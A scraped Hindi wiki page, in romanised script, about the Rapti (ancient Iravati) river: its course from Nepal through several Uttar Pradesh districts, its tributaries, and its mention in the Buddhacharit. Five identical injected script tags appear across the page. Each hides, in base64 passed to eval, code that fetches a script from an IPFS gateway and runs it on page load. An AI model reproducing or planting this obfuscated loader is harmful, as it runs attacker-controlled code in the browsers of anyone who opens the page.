राप्ती नदी

भारत डिस्कवरी प्रस्तुति
Revision as of 10:45, 7 June 2010 by रेणु (talk | contribs)
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rapti nadi / iravati

  • poorv-uttar pradesh ki rapti ka bhi prachin nam iravati tha.
  • yah nadi nepal ki laghu himalay shreniyoan mean dhaulagiri ke dakshin mean rukumakot ke nikat se nikalakar pahale dakshin mean aur phir pashchim mean bahati hai. tatpashchat ek bar punah dakshin ki or bahane ke bad baharaich zila, goanda zila, basti zila aur gorakhapur ziloan mean bahati huee barahaj ke nikat ghaghara nadi se mil jati hai.
  • isaki kul lambaee 640 kimi॰ hai.
  • is nadi ke uttar ki or se rohani nadi akar milati hai joki isaki mukhy sahayak nadi hai.
  • yah nadi kushinagar ke nikat bahati thi. jaisa ki buddhacharit [1] ke ullekh se soochit hota hai-

'is tarah kushinagar ate samay chuand ke sath tathagat ne iravati nadi par ki aur svayan us nagar ke ek upabhavan mean thahare jahaan kamaloan se sushobhit ek prashant sarovar sthit tha.'

  • achiravati ya ajiravati iravati ke vaikalpik roop ho sakate haian.
  • buddhacharit ke chini-anuvad mean is nadi ke lie 'kuku' shabd hai jo pali ke kukuttha ka chini roop hai.
  • buddhacharit [2] mean varnan hai ki nirvan ke poorv gautam buddh ne hiranyavati nadi mean snan kiya tha jo kushinagar ke upavan ke samip bahati thi. yah iravati ya rapti ki hi ek shakha jan p dati hai.
  • uttari bhag mean is nadi ki ek mukhy dhara boodhi gandak ke nam se jati hai.
  • buddhacharit [3] ke anusar buddh ki mrityu ke pashchat malloan ne unake sharir ke dahasanskar ke lie hiranyavati nadi ko par karake mukutachaity ke niche chita banaee thi.
  • sanbhav hai mahabharat [4] ka varavatya bhi rapti hi ho.


tika tippani

  1. buddhacharit 25, 53
  2. buddhacharit 25, 54
  3. buddhacharit, 27, 70
  4. mahabharat sabha parv 9, 22

sambandhit liank

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>